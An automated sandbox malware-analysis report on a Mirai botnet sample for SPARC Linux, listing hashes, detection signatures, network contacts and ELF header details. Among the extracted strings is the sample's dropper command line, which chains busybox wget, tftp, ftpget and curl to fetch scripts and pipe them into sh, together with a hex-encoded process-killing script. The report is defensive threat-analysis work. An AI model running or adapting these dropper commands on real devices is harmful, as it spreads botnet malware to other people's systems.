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Linux Analysis Report
spc.elf

Overview

General Information

Sample name:spc.elf
Analysis ID:1670797
MD5:c51a07ac9c8d4a5131df04b3750949ee
SHA1:5c0a495ba965d425347022fd247be1929b7a831d
SHA256:1c39a14ece59875c7a6c985565ed25f181fa3183304ffca93b73ad3565447759
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1670797
Start date and time:2025-04-22 08:20:18 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 44s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:spc.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@0/0
Command:/tmp/spc.elf
PID:6252
Exit Code:1
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • spc.elf (PID: 6252, Parent: 6174, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/spc.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
spc.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6252.1.00007f3e54011000.00007f3e54027000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: spc.elfReversingLabs: Detection: 36%
      Source: spc.elfString: enableshellshlinuxshellping ;sh/bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh >"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"
      Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
      Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
      Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: spc.elfString found in binary or memory: http:///curl.sh
      Source: spc.elfString found in binary or memory: http:///wget.sh
      Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: enableshellshlinuxshellping ;sh/bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh >"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@0/0
      Source: /tmp/spc.elf (PID: 6252)Queries kernel information via 'uname': Jump to behavior
      Source: spc.elf, 6252.1.0000561b5230f000.0000561b52394000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sparc
      Source: spc.elf, 6252.1.0000561b5230f000.0000561b52394000.rw-.sdmpBinary or memory string: V!/etc/qemu-binfmt/sparc
      Source: spc.elf, 6252.1.0000561b5230f000.0000561b52394000.rw-.sdmpBinary or memory string: V6!/usr/bin/vmtoolsd
      Source: spc.elf, 6252.1.0000561b5230f000.0000561b52394000.rw-.sdmpBinary or memory string: /usr/bin/vmtoolsd
      Source: spc.elf, 6252.1.00007ffebaba0000.00007ffebabc1000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-sparc/tmp/spc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/spc.elf
      Source: spc.elf, 6252.1.00007ffebaba0000.00007ffebabc1000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sparc

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: spc.elf, type: SAMPLE
      Source: Yara matchFile source: 6252.1.00007f3e54011000.00007f3e54027000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: spc.elf, type: SAMPLE
      Source: Yara matchFile source: 6252.1.00007f3e54011000.00007f3e54027000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Encrypted Channel
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1670797 Sample: spc.elf Startdate: 22/04/2025 Architecture: LINUX Score: 56 8 109.202.202.202, 80 INIT7CH Switzerland 2->8 10 91.189.91.42, 443 CANONICAL-ASGB United Kingdom 2->10 12 91.189.91.43, 443 CANONICAL-ASGB United Kingdom 2->12 14 Multi AV Scanner detection for submitted file 2->14 16 Yara detected Mirai 2->16 6 spc.elf 2->6         started        signatures3 process4
      SourceDetectionScannerLabelLink
      spc.elf36%ReversingLabsLinux.Backdoor.Mirai
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches

      Download Network PCAP: filteredfull

      No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http:///wget.shspc.elffalse
        high
        http:///curl.shspc.elffalse
          high
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          109.202.202.202
          unknownSwitzerland
          13030INIT7CHfalse
          91.189.91.43
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          91.189.91.42
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
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                                                  • 109.202.202.202
                                                  No context
                                                  No context
                                                  No created / dropped files found
                                                  File type:ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
                                                  Entropy (8bit):6.025970445878198
                                                  TrID:
                                                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                  File name:spc.elf
                                                  File size:91'464 bytes
                                                  MD5:c51a07ac9c8d4a5131df04b3750949ee
                                                  SHA1:5c0a495ba965d425347022fd247be1929b7a831d
                                                  SHA256:1c39a14ece59875c7a6c985565ed25f181fa3183304ffca93b73ad3565447759
                                                  SHA512:557890429ac2cb3a2cf3ca4bb954050bf21bede88ec25e06d4f4ab2cb08ef1f6f03925b92873c7afecc5d52784abf68b4374f981c6c67aff84099473f28a37e0
                                                  SSDEEP:1536:zgTBdPRVg9uxCjCZ8FnIS51FUR1Y2FxoLKtBYo+5Dlgy5gtSHW2hrs:cX5CRJoVnYom5RHWGs
                                                  TLSH:22934A22B9752C2BC4D8647A21F74335F2F6579620ECCA1B7EB20E8DBF606403157AB5
                                                  File Content Preview:.ELF...........................4..c......4. ...(......................U...U...............`...`...`....x..T ........dt.Q................................@..(....@.L.................#.....cx..`.....!..... ...@.....".........`......$ ... ...@...........`....

                                                  ELF header

                                                  Class:ELF32
                                                  Data:2's complement, big endian
                                                  Version:1 (current)
                                                  Machine:Sparc
                                                  Version Number:0x1
                                                  Type:EXEC (Executable file)
                                                  OS/ABI:UNIX - System V
                                                  ABI Version:0
                                                  Entry Point Address:0x101a4
                                                  Flags:0x0
                                                  ELF Header Size:52
                                                  Program Header Offset:52
                                                  Program Header Size:32
                                                  Number of Program Headers:3
                                                  Section Header Offset:91064
                                                  Section Header Size:40
                                                  Number of Section Headers:10
                                                  Header String Table Index:9
                                                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                  NULL0x00x00x00x00x0000
                                                  .initPROGBITS0x100940x940x1c0x00x6AX004
                                                  .textPROGBITS0x100b00xb00x1329c0x00x6AX004
                                                  .finiPROGBITS0x2334c0x1334c0x140x00x6AX004
                                                  .rodataPROGBITS0x233600x133600x21a80x00x2A008
                                                  .ctorsPROGBITS0x360000x160000x80x00x3WA004
                                                  .dtorsPROGBITS0x360080x160080x80x00x3WA004
                                                  .dataPROGBITS0x360180x160180x3600x00x3WA008
                                                  .bssNOBITS0x363780x163780x50a80x00x3WA008
                                                  .shstrtabSTRTAB0x00x163780x3e0x00x0001
                                                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                  LOAD0x00x100000x100000x155080x155086.16640x5R E0x10000.init .text .fini .rodata
                                                  LOAD0x160000x360000x360000x3780x54202.63020x6RW 0x10000.ctors .dtors .data .bss
                                                  GNU_STACK0x00x00x00x00x00.00000x6RW 0x4

                                                  Download Network PCAP: filteredfull

                                                  • Total Packets: 8
                                                  • 443 (HTTPS)
                                                  • 80 (HTTP)
                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Apr 22, 2025 08:21:20.352752924 CEST4251680192.168.2.23109.202.202.202
                                                  Apr 22, 2025 08:21:20.864667892 CEST43928443192.168.2.2391.189.91.42
                                                  Apr 22, 2025 08:21:26.239986897 CEST42836443192.168.2.2391.189.91.43
                                                  Apr 22, 2025 08:21:42.109749079 CEST43928443192.168.2.2391.189.91.42
                                                  Apr 22, 2025 08:21:50.300641060 CEST4251680192.168.2.23109.202.202.202
                                                  Apr 22, 2025 08:21:52.348341942 CEST42836443192.168.2.2391.189.91.43
                                                  Apr 22, 2025 08:22:23.066080093 CEST43928443192.168.2.2391.189.91.42
                                                  Apr 22, 2025 08:22:43.541263103 CEST42836443192.168.2.2391.189.91.43

                                                  System Behavior

                                                  Start time (UTC):06:21:19
                                                  Start date (UTC):22/04/2025
                                                  Path:/tmp/spc.elf
                                                  Arguments:/tmp/spc.elf
                                                  File size:4379400 bytes
                                                  MD5 hash:7dc1c0e23cd5e102bb12e5c29403410e